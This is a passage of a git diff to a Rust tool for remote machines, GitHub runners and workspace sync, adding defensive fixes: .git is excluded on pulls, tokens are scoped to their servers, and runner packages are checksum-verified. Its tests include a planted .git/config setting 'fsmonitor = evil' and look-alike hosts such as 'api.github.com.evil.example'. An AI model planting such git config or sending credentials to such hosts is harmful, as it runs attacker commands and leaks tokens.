+ std::os::unix::fs::symlink("data.bin", dir.join("proj/link")).unwrap();
+ let out = std::process::Command::new("tar").env("COPYFILE_DISABLE", "1").arg("-C").arg(&dir).args(["-cf", "-", "./proj"]).output().unwrap();
+ assert!(out.status.success());
+ let (filtered, skipped) = filter(&["proj"], &out.stdout);
+ assert!(skipped.is_empty(), "{skipped:?}");
+ assert_eq!(listed(&filtered), listed(&out.stdout));
+ let _ = std::fs::remove_dir_all(&dir);
+ }
+
+ #[test]
+ fn a_workspace_pull_leaves_out_every_git_folder() {
+ let mut s = entry("./src/main.rs", b'0', "", b"fn main() {}\n");
+ s.extend(entry("./vendor/lib/.git/config", b'0', "", b"[core]\n\tfsmonitor = evil\n"));
+ s.extend(entry("./vendor/lib/.git", b'0', "", b"gitdir: ../../.git/modules/lib\n"));
+ s.extend(entry("./vendor/lib/ok.c", b'0', "", b"int x;\n"));
+ s.extend([0u8; 1024]);
+ let names = ["src".to_string(), "vendor".to_string()];
+ let mut f = TarFilter::new(&names).without_git();
+ let mut out = f.push(&s).unwrap();
+ out.extend(f.finish().unwrap());
+ assert_eq!(listed(&out), ["./src/main.rs", "./vendor/lib/ok.c"]);
+ // A plain copy keeps them: it's what the user asked for.
+ let (out, _) = filter(&["src", "vendor"], &s);
+ assert_eq!(listed(&out).len(), 4);
+ }
+
+ #[test]
+ fn a_cut_off_stream_is_an_error() {
+ let s = entry("./app/big", b'0', "", &vec![1u8; 2000]);
+ let mut f = TarFilter::new(&["app".to_string()]);
+ f.push(&s[..1000]).unwrap();
+ assert!(f.finish().is_err());
+ let mut f = TarFilter::new(&["app".to_string()]);
+ let mut bad = entry("./app/x", b'0', "", b"");
+ bad[150] ^= 1;
+ assert!(f.push(&bad).is_err());
+ }
+}
diff --git a/src/fleet/workspaces/mod.rs b/src/fleet/workspaces/mod.rs
index 4a74994..9efddc7 100644
--- a/src/fleet/workspaces/mod.rs
+++ b/src/fleet/workspaces/mod.rs
@@ -590,7 +590,8 @@ impl Engine {
return Ok("Nothing to copy.".into());
}
let op = self.begin_op("copy", format!("Sync {} with {}", rec.info.id, spec.name), Some(spec.id.clone()), None);
- let result = self.run_copy(op, &from, &dir, &names, &to, &to_dir, &std::sync::atomic::AtomicBool::new(false)).await;
+ let no_git = direction == SyncDirection::Pull;
+ let result = self.run_copy(op, &from, &dir, &names, &to, &to_dir, &std::sync::atomic::AtomicBool::new(false), no_git).await;
self.op_finish(op, result.as_ref().map(|_| ()).map_err(|e| e.clone()));
let bytes = result?;
self.touch_workspace(&rec.info.id);
@@ -817,9 +818,21 @@ impl Engine {
Ok(out) => out,
Err(e) => {
// A private GitHub repo: try again with the user's token, passed only through the environment.
+ // The machine's exit code only says it wants credentials, and it could say so for any repo;
+ // whether this one is private is asked of GitHub from here. A public repo never gets the token.
let retry = match repo {
Some(r) if r.on_github && e.code == Some(4) => {
- self.github().git_credentials(&self.settings().github).await.filter(|(host, _)| *host == r.host)
+ let settings = self.settings().github;
+ let private = match github_full_name(r) {
+ Some(name) => self.github().repo(&settings, &name).await.is_ok_and(|info| info.private),
+ None => false,
+ };
+ if private {
+ self.github().git_credentials(&settings).await.filter(|(host, _)| *host == r.host)
+ } else {
+ self.op_log(op, format!("▸ GitHub doesn't list {} as a private repository you can reach, so your token isn't sent", r.shown));
+ None
+ }
}
_ => None,
};
@@ -1200,6 +1213,18 @@ struct Repo {
on_github: bool,
}
+/// "owner/name" of a repository on the GitHub host, from "owner/name" or its https URL.
+fn github_full_name(r: &Repo) -> Option<String> {
+ let path = match r.shown.split_once("://") {
+ Some((_, rest)) => rest.split_once('/')?.1,
+ None => r.shown.as_str(),
+ };
+ let path = path.trim_end_matches('/').trim_end_matches(".git");
+ let mut parts = path.split('/');
+ let (owner, name) = (parts.next()?, parts.next()?);
+ (parts.next().is_none() && !owner.is_empty() && !name.is_empty()).then(|| format!("{owner}/{name}"))
+}
+
pub(crate) fn github_web_host(api_url: &str) -> String {
let host = api_url.split("://").nth(1).unwrap_or(api_url).split('/').next().unwrap_or("api.github.com");
if host == "api.github.com" { "github.com".into() } else { host.to_string() }
@@ -1415,6 +1440,13 @@ fn display_arg(a: &str) -> String {
fn rsync_args(spec: &MachineSpec, remote_path: &str, local: &str, direction: SyncDirection, delete: bool) -> Vec<String> {
let mut args = vec!["-az".to_string(), "--stats".to_string(), "--exclude=/.muxen/".to_string()];
+ if direction == SyncDirection::Pull {
+ // Files come back, git's own folder doesn't (nor a worktree's or a
+ // submodule's .git file): the machine could set a command in .git/config
+ // (core.fsmonitor, hooks) that the next `git status` here would run. Your
+ // .git isn't deleted either; --delete leaves excluded paths alone.
+ args.push("--exclude=.git".into());
+ }
if delete {
args.push("--delete".into());
}
diff --git a/src/fleet/workspaces/tests.rs b/src/fleet/workspaces/tests.rs
index 884a593..867b132 100644
--- a/src/fleet/workspaces/tests.rs
+++ b/src/fleet/workspaces/tests.rs
@@ -143,6 +143,18 @@ fn quotes_env_and_builds_commands() {
let pull = rsync_args(&local, "/w/ws-1", "/dst", SyncDirection::Pull, false);
assert_eq!(&pull[pull.len() - 2..], &["/w/ws-1/".to_string(), "/dst/".to_string()]);
assert!(!pull.contains(&"-e".to_string()));
+ // A pull never brings a .git back (its config could run commands here); a push still sends yours.
+ assert!(pull.contains(&"--exclude=.git".to_string()));
+ assert!(!args.contains(&"--exclude=.git".to_string()));
+}
+
+#[test]
+fn names_github_repos_for_the_privacy_check() {
+ let name = |raw: &str| github_full_name(&normalize_repo(raw, "github.com").unwrap());
+ assert_eq!(name("acme/api").as_deref(), Some("acme/api"));
+ assert_eq!(name("https://github.com/acme/api.git").as_deref(), Some("acme/api"));
+ assert_eq!(name("https://x:[email protected]/acme/api").as_deref(), Some("acme/api"));
+ assert_eq!(name("https://github.com/acme/api/tree/main"), None);
}
#[test]
diff --git a/src/github/mod.rs b/src/github/mod.rs
index 93f8ec0..a467a9d 100644
--- a/src/github/mod.rs
+++ b/src/github/mod.rs
@@ -190,6 +190,40 @@ struct ApiRepo {
#[derive(Deserialize)]
struct ApiRelease {
tag_name: String,
+ #[serde(default)]
+ body: Option<String>,
+}
+
+/// An actions/runner release, with the SHA-256 GitHub published for each package.
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct RunnerRelease {
+ /// e.g. "2.329.0"
+ pub version: String,
+ /// (platform, lowercase hex), e.g. ("linux-x64", "194f…"). The platform is the
+ /// package name's middle: actions-runner-<platform>-<version>.tar.gz or .zip.
+ pub sha256: Vec<(String, String)>,
+}
+
+/// The checksums in a release's notes, one line per package:
+/// `<!-- BEGIN SHA linux-x64 -->HEX<!-- END SHA linux-x64 -->`.
+fn runner_checksums(body: &str) -> Vec<(String, String)> {
+ const BEGIN: &str = "<!-- BEGIN SHA ";
+ let mut out: Vec<(String, String)> = Vec::new();
+ let mut rest = body;
+ while let Some(at) = rest.find(BEGIN) {
+ rest = &rest[at + BEGIN.len()..];
+ let Some((platform, after)) = rest.split_once(" -->") else { break };
+ let platform = platform.trim();
+ let end = format!("<!-- END SHA {platform} -->");
+ let Some((hex, _)) = after.split_once(&end) else { continue };
+ let hex = hex.trim().to_ascii_lowercase();
+ let platform_ok = !platform.is_empty() && platform.bytes().all(|b| b.is_ascii_alphanumeric() || b == b'-');
+ let hex_ok = hex.len() == 64 && hex.bytes().all(|b| b.is_ascii_hexdigit());
+ if platform_ok && hex_ok && !out.iter().any(|(p, _)| p == platform) {
+ out.push((platform.to_string(), hex));
+ }
+ }
+ out
}
#[derive(Deserialize)]
@@ -257,7 +291,7 @@ pub struct Client {
scopes: Mutex<Option<Vec<String>>>,
login: Mutex<Option<String>>,
org_repos: Mutex<HashMap<String, (Instant, Vec<String>)>>,
- release: Mutex<Option<(Instant, String)>>,
+ release: Mutex<Option<(Instant, RunnerRelease)>>,
}
impl Client {
@@ -313,7 +347,8 @@ impl Client {
}
let account = self.account.lock().unwrap().clone();
let machine = self.account_machine.lock().unwrap().clone();
- let found = match env_token() {
+ let api = self.api_url.lock().unwrap().clone();
+ let found = match env_token(&api, |var| std::env::var(var).ok()) {
Some(t) => Some(t),
None if machine.is_empty() => gh_token(&self.gh_hostname(), &account).await,
None => {
@@ -586,15 +621,22 @@ impl Client {
}
async fn latest_runner_version(&self) -> Option<String> {
- if let Some((at, v)) = self.release.lock().unwrap().clone() {
+ self.latest_release().await.map(|r| r.version)
+ }
+
+ async fn latest_release(&self) -> Option<RunnerRelease> {
+ if let Some((at, r)) = self.release.lock().unwrap().clone() {
if at.elapsed() < RELEASE_TTL {
- return Some(v);
+ return Some(r);
}
}
let rel: ApiRelease = self.get("/repos/actions/runner/releases/latest").await.ok()?;
- let v = rel.tag_name.trim_start_matches('v').to_string();
- *self.release.lock().unwrap() = Some((Instant::now(), v.clone()));
- Some(v)
+ let r = RunnerRelease {
+ version: rel.tag_name.trim_start_matches('v').to_string(),
+ sha256: runner_checksums(rel.body.as_deref().unwrap_or_default()),
+ };
+ *self.release.lock().unwrap() = Some((Instant::now(), r.clone()));
+ Some(r)
}
/// One full pass: runners for every configured scope, then active jobs.
@@ -691,14 +733,16 @@ impl Client {
// -----------------------------------------------------------------------
// Writes, used by runner provisioning. Never cached.
- /// A short-lived token for `config.sh --token` (registering new runners).
+ /// A short-lived token for `config.sh` (registering new runners). The scripts
+ /// hand it over in ACTIONS_RUNNER_INPUT_TOKEN, never on a command line.
pub async fn registration_token(&self, settings: &GitHubSettings, scope: &str) -> Result<String, String> {
let (kind, name) = parse_scope(scope);
let doing = format!("Registering runners with {name}");
self.scoped_token(settings, kind, &name, "registration-token", &doing).await
}
- /// A short-lived token for `config.sh remove --token` (deregistering a runner).
+ /// A short-lived token for `config.sh remove` (deregistering a runner), handed
+ /// over the same way.
pub async fn remove_token(&self, settings: &GitHubSettings, scope: &str) -> Result<String, String> {
let (kind, name) = parse_scope(scope);
let doing = format!("Removing runners from {name}");
@@ -726,10 +770,10 @@ impl Client {
}
}
- /// The newest actions/runner release, e.g. "2.329.0".
- pub async fn latest_runner_release(&self, settings: &GitHubSettings) -> Option<String> {
+ /// The newest actions/runner release (e.g. 2.329.0) and its packages' SHA-256.
+ pub async fn latest_runner_release(&self, settings: &GitHubSettings) -> Option<RunnerRelease> {
self.configure(settings);
- self.latest_runner_version().await
+ self.latest_release().await
}
/// The URL runners are registered against, e.g. https://github.com/acme.
@@ -901,11 +945,20 @@ fn scope_path(kind: ScopeKind, name: &str) -> String {
}
}
-/// `MUXEN_GITHUB_TOKEN`, `GITHUB_TOKEN` or `GH_TOKEN`, which win over any login.
-fn env_token() -> Option<Token> {
- ["MUXEN_GITHUB_TOKEN", "OPENRUNNER_GITHUB_TOKEN", "GITHUB_TOKEN", "GH_TOKEN"].into_iter().find_map(|var| {
- let v = std::env::var(var).ok()?;
- (!v.trim().is_empty()).then(|| Token { value: v.trim().to_string(), source: var.to_string(), fetched: Instant::now() })
+/// A token from the environment (`var` reads it), which wins over any login.
+/// By gh's rule: `MUXEN_GITHUB_TOKEN`, `GITHUB_TOKEN` and `GH_TOKEN` are
+/// github.com's, so they go to api.github.com only; any other server gets
+/// `GH_ENTERPRISE_TOKEN` or `GITHUB_ENTERPRISE_TOKEN`. None over plain http.
+fn env_token(api_url: &str, var: impl Fn(&str) -> Option<String>) -> Option<Token> {
+ let url = reqwest::Url::parse(api_url).ok().filter(|u| u.scheme() == "https")?;
+ let names: &[&str] = if url.host_str() == Some("api.github.com") {
+ &["MUXEN_GITHUB_TOKEN", "OPENRUNNER_GITHUB_TOKEN", "GITHUB_TOKEN", "GH_TOKEN"]
+ } else {
+ &["GH_ENTERPRISE_TOKEN", "GITHUB_ENTERPRISE_TOKEN"]
+ };
+ names.iter().find_map(|name| {
+ let v = var(name)?;
+ (!v.trim().is_empty()).then(|| Token { value: v.trim().to_string(), source: name.to_string(), fetched: Instant::now() })
})
}
@@ -988,6 +1041,19 @@ pub fn scope_from_runner_url(url: &str) -> Option<String> {
mod tests {
use super::*;
+ #[test]
+ fn env_tokens_go_only_to_their_own_server() {
+ let env = |name: &str| ["GH_TOKEN", "GH_ENTERPRISE_TOKEN"].contains(&name).then(|| format!("{name}-value"));
+ let source = |api: &str| env_token(api, env).map(|t| t.source);
+ assert_eq!(source("https://api.github.com").as_deref(), Some("GH_TOKEN"));
+ assert_eq!(source("https://ghe.example.com/api/v3").as_deref(), Some("GH_ENTERPRISE_TOKEN"));
+ // github.com's token goes nowhere else, whatever the URL looks like.
+ let github_only = |name: &str| (name == "GITHUB_TOKEN").then(|| "secret".to_string());
+ for api in ["https://ghe.example.com/api/v3", "https://api.github.com.evil.example", "https://[email protected]", "http://api.github.com"] {
+ assert!(env_token(api, github_only).is_none(), "{api}");
+ }
+ }
+
#[test]
fn parses_link_header() {
let h = r#"<https://api.github.com/orgs/acme/actions/runners?page=2>; rel="next", <https://api.github.com/orgs/acme/actions/runners?page=5>; rel="last""#;
@@ -1020,6 +1086,49 @@ mod tests {
);
}
+ /// The end of actions/runner v2.338.0's release notes (they use CRLF).
+ const RUNNER_NOTES: &str = "## Using your self hosted runner\r\n\r\nSee the docs.\r\n\r\n\
+## SHA-256 Checksums\r\n\r\n\
+The SHA-256 checksums for the packages included in this build are shown below:\r\n\r\n\
+- actions-runner-win-x64-2.338.0.zip <!-- BEGIN SHA win-x64 -->f48e0750a21812bca5f82de5f7f5aeae71abee647fab5a582f1742d07eba455f<!-- END SHA win-x64 -->\r\n\
+- actions-runner-win-arm64-2.338.0.zip <!-- BEGIN SHA win-arm64 -->a57a4d29c0dcf02210a16b01906ed76cb8091b26d728c41232736c0f627a557e<!-- END SHA win-arm64 -->\r\n\
+- actions-runner-osx-x64-2.338.0.tar.gz <!-- BEGIN SHA osx-x64 -->dea7a58796ce215fc424a8b27c0fdd9b813fa5fc03d109a4a1d38131d6bfa1a3<!-- END SHA osx-x64 -->\r\n\
+- actions-runner-osx-arm64-2.338.0.tar.gz <!-- BEGIN SHA osx-arm64 -->df4cebda25c86a886ed204e49fee63f5c2e7cec5f447b5c98440a826bbdf9df2<!-- END SHA osx-arm64 -->\r\n\
+- actions-runner-linux-x64-2.338.0.tar.gz <!-- BEGIN SHA linux-x64 -->af4b794c1bc41d73d40535e3fe092a39f9679cd8d965954c2aca25a05ca41d32<!-- END SHA linux-x64 -->\r\n\
+- actions-runner-linux-arm64-2.338.0.tar.gz <!-- BEGIN SHA linux-arm64 -->628b4a7258487b80c1d3c221095a7ded349f5ae0175fd3dfab708d07428f041b<!-- END SHA linux-arm64 -->\r\n\
+- actions-runner-linux-arm-2.338.0.tar.gz <!-- BEGIN SHA linux-arm -->1d6a7688d2aca1a1fecd4df5d473e4aa4226c1f1785ff915cf84049665a3483f<!-- END SHA linux-arm -->\n";
+
+ #[test]
+ fn reads_runner_checksums_from_release_notes() {
+ let sums = runner_checksums(RUNNER_NOTES);
+ let sha = |platform: &str| sums.iter().find(|(p, _)| p == platform).map(|(_, h)| h.as_str());
+ // Every package install.sh (osx/linux: x64, arm64, arm) and install.ps1 (win: x64, arm64) picks.
+ assert_eq!(sha("osx-x64"), Some("dea7a58796ce215fc424a8b27c0fdd9b813fa5fc03d109a4a1d38131d6bfa1a3"));
+ assert_eq!(sha("osx-arm64"), Some("df4cebda25c86a886ed204e49fee63f5c2e7cec5f447b5c98440a826bbdf9df2"));
+ assert_eq!(sha("linux-x64"), Some("af4b794c1bc41d73d40535e3fe092a39f9679cd8d965954c2aca25a05ca41d32"));
+ assert_eq!(sha("linux-arm64"), Some("628b4a7258487b80c1d3c221095a7ded349f5ae0175fd3dfab708d07428f041b"));
+ assert_eq!(sha("linux-arm"), Some("1d6a7688d2aca1a1fecd4df5d473e4aa4226c1f1785ff915cf84049665a3483f"));
+ assert_eq!(sha("win-x64"), Some("f48e0750a21812bca5f82de5f7f5aeae71abee647fab5a582f1742d07eba455f"));
+ assert_eq!(sha("win-arm64"), Some("a57a4d29c0dcf02210a16b01906ed76cb8091b26d728c41232736c0f627a557e"));
+ assert_eq!(sums.len(), 7);
+ }
+
+ #[test]
+ fn skips_release_notes_without_good_checksums() {
+ // Notes from before the markers, or with none at all: nothing to check against.
+ assert!(runner_checksums("## Features\r\n- Faster\r\n").is_empty());
+ assert!(runner_checksums("").is_empty());
+ let odd = "<!-- BEGIN SHA linux-x64 -->not-hex<!-- END SHA linux-x64 -->\
+<!-- BEGIN SHA osx-x64 -->DEA7A58796CE215FC424A8B27C0FDD9B813FA5FC03D109A4A1D38131D6BFA1A3<!-- END SHA osx-x64 -->\
+<!-- BEGIN SHA osx-x64 -->0000000000000000000000000000000000000000000000000000000000000000<!-- END SHA osx-x64 -->\
+<!-- BEGIN SHA win x64 -->f48e0750a21812bca5f82de5f7f5aeae71abee647fab5a582f1742d07eba455f<!-- END SHA win x64 -->\
+<!-- BEGIN SHA linux-arm -->1d6a7688d2aca1a1fecd4df5d473e4aa4226c1f1785ff915cf84049665a3483f<!-- END SHA linux-arm64 -->\
+<!-- BEGIN SHA win-arm64 -->a57a4d29";
+ // Short or non-hex values, names with spaces and mismatched ends are left out;
+ // hex is lowercased, and the first value for a platform wins.
+ assert_eq!(runner_checksums(odd), vec![("osx-x64".to_string(), "dea7a58796ce215fc424a8b27c0fdd9b813fa5fc03d109a4a1d38131d6bfa1a3".to_string())]);
+ }
+
#[test]
fn explains_org_permission_errors() {
let e = ApiError { status: Some(StatusCode::FORBIDDEN), message: "Must have admin rights".into() };
diff --git a/src/main.rs b/src/main.rs
index cd91e7a..7d51c10 100644
--- a/src/main.rs
+++ b/src/main.rs
@@ -56,7 +56,7 @@ enum Command {
Machine(MachineArgs),
/// Add a machine to config.toml (and check it)
AddMachine(AddMachineArgs),
- /// Remove a machine from config.toml (nothing on the machine changes)
+ /// Remove a machine from config.toml (on the machine, only a direct connection from this app is turned off)
RemoveMachine(MachineArgs),
/// Give a machine a new name (its id stays the same)
RenameMachine(RenameMachineArgs),
@@ -579,7 +579,7 @@ enum CloudCommand {
Destroy(CloudMachineArgs),
/// Power a cloud machine on or off (DigitalOcean still bills it while off)
Power(CloudPowerArgs),
- /// Sign in to DigitalOcean: --token TOKEN, --doctl, or --browser
+ /// Sign in to DigitalOcean: --token - (reads the token from stdin), --doctl, or --browser
Login(CloudLoginArgs),
/// Forget the DigitalOcean sign-in
Logout(AgentArgs),
@@ -630,7 +630,9 @@ struct CloudPowerArgs {
struct CloudLoginArgs {
#[command(flatten)]
agent: AgentArgs,
- /// A DigitalOcean API token (kept in the Keychain)
+ /// A DigitalOcean API token (kept in the Keychain). `-` reads it from stdin, which
+ /// keeps it out of your shell's history and the process list:
+ /// `pbpaste | muxin cloud login --token -`
#[arg(long, conflicts_with_all = ["doctl", "browser"])]
token: Option<String>,
/// Use doctl's login
@@ -1390,7 +1392,7 @@ fn main() -> ExitCode {
Some(Command::RemoveMachine(a)) => {
let req = api::MachineRequest { machine_id: a.machine_id };
run(&runtime, &a.agent, async move |e| api::remove_machine(&e, req).await, |m| {
- format!("Removed {} ({}) from config.toml. Nothing on the machine changed.\n", m.name, m.id)
+ format!("Removed {} ({}) from config.toml. On the machine, only a direct connection from this app (if it had one) is turned off.\n", m.name, m.id)
})
}
Some(Command::Connect(a)) => {
@@ -2100,11 +2102,21 @@ fn cloud(cmd: CloudCommand, runtime: &tokio::runtime::Runtime) -> u8 {
}
CloudCommand::Login(a) => {
let method = if a.doctl { "doctl" } else if a.browser { "oauth" } else { "token" };
- let token = a.token.clone();
+ let mut token = a.token.clone();
if method == "token" && token.is_none() {
- eprintln!("error: pass --token TOKEN, --doctl or --browser");
+ eprintln!("error: pass --token - (and the token on stdin), --doctl or --browser");
return 2;
}
+ if token.as_deref() == Some("-") {
+ let stdin = std::io::stdin();
+ if stdin.is_terminal() {
+ eprint!("DigitalOcean API token: ");
+ }
+ token = match read_token(&mut stdin.lock()) {
+ Ok(t) => Some(t),
+ Err(e) => return report_error(&a.agent, &ApiError::invalid(e)),
+ };
+ }
run(runtime, &a.agent, async move |e| e.cloud_sign_in(method, token, |url| crate::util::open_url(url)).await.map_err(api::ApiError::invalid), |email| {
format!("Signed in to DigitalOcean as {email}.\n")
})
@@ -2113,6 +2125,17 @@ fn cloud(cmd: CloudCommand, runtime: &tokio::runtime::Runtime) -> u8 {
}
}
+/// `--token -`: the first line on stdin, so the token stays out of the shell's
+/// history and the process list.
+fn read_token(input: &mut impl std::io::BufRead) -> Result<String, String> {
+ let mut line = String::new();
+ input.read_line(&mut line).map_err(|e| format!("Couldn't read the token from stdin: {e}"))?;
+ match line.trim() {
+ "" => Err("No token came in on stdin. Pipe it in, e.g. muxin cloud login --token - < token.txt".into()),
+ token => Ok(token.to_string()),
+ }
+}
+
fn desktop(cmd: DesktopCommand, runtime: &tokio::runtime::Runtime) -> u8 {
match cmd {
DesktopCommand::Shot(a) => {
@@ -2453,4 +2476,21 @@ mod tests {
assert!(Cli::try_parse_from(["muxin", "workspace", "sync", "ws-1", ".", "--push", "--pull"]).is_err());
assert!(Cli::try_parse_from(["muxin", "workspace", "create", "--platform", "linux", "--repo", "acme/api", "--ref", "main", "--json"]).is_ok());
}
+
+ #[test]
+ fn cloud_login_reads_the_token_from_stdin() {
+ let token = |args: &[&str]| match Cli::try_parse_from(args).unwrap().command {
+ Some(Command::Cloud(CloudCommand::Login(a))) => a.token,
+ _ => panic!("expected cloud login"),
+ };
+ assert_eq!(token(&["muxin", "cloud", "login", "--token", "-"]).as_deref(), Some("-"));
+ assert_eq!(token(&["muxin", "cloud", "login", "--token", "dop_v1_abc"]).as_deref(), Some("dop_v1_abc"));
+ assert!(Cli::try_parse_from(["muxin", "cloud", "login", "--token", "-", "--doctl"]).is_err());
+
+ let read = |input: &str| read_token(&mut std::io::Cursor::new(input.as_bytes()));
+ assert_eq!(read("dop_v1_abc\n").as_deref(), Ok("dop_v1_abc"));
+ assert_eq!(read(" dop_v1_abc\r\nmore\n").as_deref(), Ok("dop_v1_abc"), "only the first line, trimmed");
+ assert!(read("").is_err());
+ assert!(read("\n").is_err());
+ }
}
diff --git a/src/mcp.rs b/src/mcp.rs
index 77d6886..c24054b 100644
--- a/src/mcp.rs
+++ b/src/mcp.rs
@@ -29,7 +29,8 @@ and the machine/runner they're about. Ids: machines are slugs like \"mac-studio\
Read-only: status, get_machine, list_runners, list_jobs, check_machines (runs a read-only \
check over ssh), get_operation, list_operations, get_settings, list_ssh_hosts, list_files.
-Changes things: add_machine / remove_machine edit config.toml only. install_runners and \
+Changes things: add_machine / remove_machine edit config.toml (remove_machine also unpairs a \
+machine paired for direct connections from this app). install_runners and \
runner_action run commands on real machines and register or deregister runners on GitHub; \
confirm with the user before stopping, removing or installing unless they asked for exactly that.
@@ -447,7 +448,7 @@ pub fn tools() -> Vec<Value> {
}),
json!({
"name": "remove_machine",
- "description": "Remove a machine from config.toml. Nothing on the machine changes and its runners stay registered on GitHub; use runner_action remove first to take runners down.",
+ "description": "Remove a machine from config.toml. Its runners stay registered on GitHub; use runner_action remove first to take runners down. On the machine, only a direct-connection pairing with this app is undone (best-effort).",
"inputSchema": schema(json!({ "machine_id": { "type": "string", "description": MACHINE_ID } }), &["machine_id"]),
"annotations": annotations("Remove machine", false, true, true, false),
}),
@@ -782,7 +783,7 @@ pub fn tools() -> Vec<Value> {
}),
json!({
"name": "workspace_sync",
- "description": "Copy code between a folder on this computer (usually the user's local checkout) and a workspace with rsync over ssh. direction=push sends the local folder to the workspace (e.g. to test uncommitted local changes on another OS); direction=pull brings the workspace's files back. delete=true also removes files on the receiving side that the sender doesn't have; pulling with delete into the user's checkout can remove their files, so confirm first.",
+ "description": "Copy code between a folder on this computer (usually the user's local checkout) and a workspace with rsync over ssh. direction=push sends the local folder to the workspace (e.g. to test uncommitted local changes on another OS); direction=pull brings the workspace's files back, but not its .git (commits made there stay there; commit here instead). delete=true also removes files on the receiving side that the sender doesn't have; pulling with delete into the user's checkout can remove their files, so confirm first.",
"inputSchema": schema(json!({
"workspace_id": { "type": "string", "description": WORKSPACE_ID },
"local_path": { "type": "string", "description": "Folder on this computer; absolute is safest (relative paths resolve against the MCP server's working directory)." },
diff --git a/src/ops/mod.rs b/src/ops/mod.rs
index fe94c02..2454b36 100644
--- a/src/ops/mod.rs
+++ b/src/ops/mod.rs
@@ -23,7 +23,7 @@ use std::time::Duration;
use crate::config::{MachineSpec, Settings};
use crate::fleet::model::Runner;
use crate::fleet::Engine;
-use crate::github::scope_from_runner_url;
+use crate::github::{scope_from_runner_url, RunnerRelease};
use crate::probe::{self, ProbeResult, Shell};
use remote::{with_params, Param};
@@ -38,8 +38,27 @@ const RUNNER_IMAGE: &str = "ghcr.io/actions/actions-runner";
const INSTALL_TIMEOUT: Duration = Duration::from_secs(15 * 60);
const CONTROL_TIMEOUT: Duration = Duration::from_secs(3 * 60);
-/// Used when GitHub can't tell us the latest runner release.
+/// Used when GitHub can't tell us the latest runner release (GitHub Enterprise
+/// Server doesn't have actions/runner's releases, say).
const FALLBACK_RUNNER_VERSION: &str = "2.329.0";
+/// The SHA-256 of each FALLBACK_RUNNER_VERSION package, from its release notes
+/// (and GitHub's asset digests). Change them together with the version.
+const FALLBACK_RUNNER_SHA256: [(&str, &str); 7] = [
+ ("win-x64", "f60be5ddf373c52fd735388c3478536afd12bfd36d1d0777c6b855b758e70f25"),
+ ("win-arm64", "68c38a172b569ba7290136f3051e28aca4e1a0a3d40e68ec352d100907c2e927"),
+ ("osx-x64", "c5a14e84b358c72ca83bf14518e004a8ad195cc440322fbca2a4fec7649035c7"),
+ ("osx-arm64", "50c0d409040cc52e701ac1d5afb4672cb7803a65c1292a30e96c42051dfa690f"),
+ ("linux-x64", "194f1e1e4bd02f80b7e9633fc546084d8d4e19f3928a324d512ea53430102e1d"),
+ ("linux-arm64", "56768348b3d643a6a29d4ad71e9bdae0dc0ef1eb01afe0f7a8ee097b039bfaaf"),
+ ("linux-arm", "b958284b8af869bd6d3542210fbd23702449182ba1c2b1b1eef575913434f13a"),
+];
+
+fn fallback_release() -> RunnerRelease {
+ RunnerRelease {
+ version: FALLBACK_RUNNER_VERSION.into(),
+ sha256: FALLBACK_RUNNER_SHA256.iter().map(|(p, h)| (p.to_string(), h.to_string())).collect(),
+ }
+}
/// Install one or more runners on a machine.
#[derive(Debug, Clone)]
@@ -335,15 +354,19 @@ impl Engine {
Ok(id)
}
- /// Removes a machine from config.toml. Doesn't touch the machine itself.
+ /// Removes a machine from config.toml. On the machine, only its agent
+ /// stops trusting this app's direct connections (when it was paired).
pub fn remove_machine(self: &Arc<Self>, machine_id: &str) -> Result<(), String> {
- if self.machine(machine_id).is_none() {
- return Err("That machine isn't in config.toml anymore.".into());
- }
+ let (spec, _) = self.machine(machine_id).ok_or("That machine isn't in config.toml anymore.")?;
if self.machine_busy(machine_id) {
return Err("An operation is still running on this machine. Wait for it to finish.".into());
}
- self.forget_machine(machine_id)
+ let paired = crate::fleet::direct::paired(&spec.id).is_some();
+ self.forget_machine(machine_id)?;
+ if paired {
+ self.unpair_removed(spec);
+ }
+ Ok(())
}
/// Gives a machine a new name in config.toml. Its id doesn't change, so
@@ -376,6 +399,10 @@ impl Engine {
None => inventory_edit::edit_file(self.inventory_path(), edit)?,
}
self.reload_inventory_now();
+ // Its pairing goes too, so a machine added later under its name starts unpaired.
+ if self.demo_world().is_none() && crate::fleet::direct::paired(machine_id).is_some() {
+ let _ = crate::fleet::direct::save(machine_id, None);
+ }
Ok(())
}
@@ -580,33 +607,48 @@ async fn install(engine: &Arc<Engine>, op: u64, req: &InstallRequest, spec: &Mac
step(engine, op, format!("Requesting a registration token from GitHub for {}", req.scope));
let token = engine.github().registration_token(&settings.github, &req.scope).await?;
step(engine, op, "Looking up the latest runner release");
- let version = engine
- .github()
- .latest_runner_release(&settings.github)
- .await
- .unwrap_or_else(|| FALLBACK_RUNNER_VERSION.to_string());
- engine.op_log(op, format!("actions-runner {version}"));
+ let release = engine.github().latest_runner_release(&settings.github).await.unwrap_or_else(fallback_release);
+ engine.op_log(op, format!("actions-runner {}", release.version));
step(engine, op, format!("Installing on {} ({})", spec.name, spec.host.trim()));
let url = engine.github().web_url(&settings.github, &req.scope);
let labels = req.labels.join(",");
let group = req.group.clone().unwrap_or_default();
+ let script = install_script(shell, &release, &url, &token, &req.names, &labels, &group, as_service);
+ let ran = remote::run(engine, op, spec, shell, script, &[token], INSTALL_TIMEOUT).await;
+ record_installed(engine, op, req, spec, ran).await
+}
+
+/// install.sh or install.ps1 with its parameters. The script checks the package
+/// it downloads (or finds cached) against GitHub's SHA-256 for its platform.
+#[allow(clippy::too_many_arguments)]
+fn install_script(
+ shell: Shell,
+ release: &RunnerRelease,
+ url: &str,
+ token: &str,
+ names: &[String],
+ labels: &str,
+ group: &str,
+ as_service: bool,
+) -> String {
+ // Every package's, as "<platform>=<hex>": the script works out which one it needs.
+ let sha256: Vec<String> = release.sha256.iter().map(|(platform, hex)| format!("{platform}={hex}")).collect();
let params = [
- ("OR_VERSION", Param::Str(&version)),
- ("OR_URL", Param::Str(&url)),
- ("OR_TOKEN", Param::Str(&token)),
- ("OR_NAMES", Param::List(&req.names)),
- ("OR_LABELS", Param::Str(&labels)),
- ("OR_GROUP", Param::Str(&group)),
+ ("OR_VERSION", Param::Str(&release.version)),
+ ("OR_SHA256", Param::List(&sha256)),
+ ("OR_URL", Param::Str(url)),
+ ("OR_TOKEN", Param::Str(token)),
+ ("OR_NAMES", Param::List(names)),
+ ("OR_LABELS", Param::Str(labels)),
+ ("OR_GROUP", Param::Str(group)),
("OR_SERVICE", Param::Bool(as_service)),
("OR_BASE", Param::Str("")),
];
- let script = match shell {
+ match shell {
Shell::Sh => with_params(shell, &params, INSTALL_SH),
Shell::Powershell => with_params(shell, &params, INSTALL_PS1),
- };
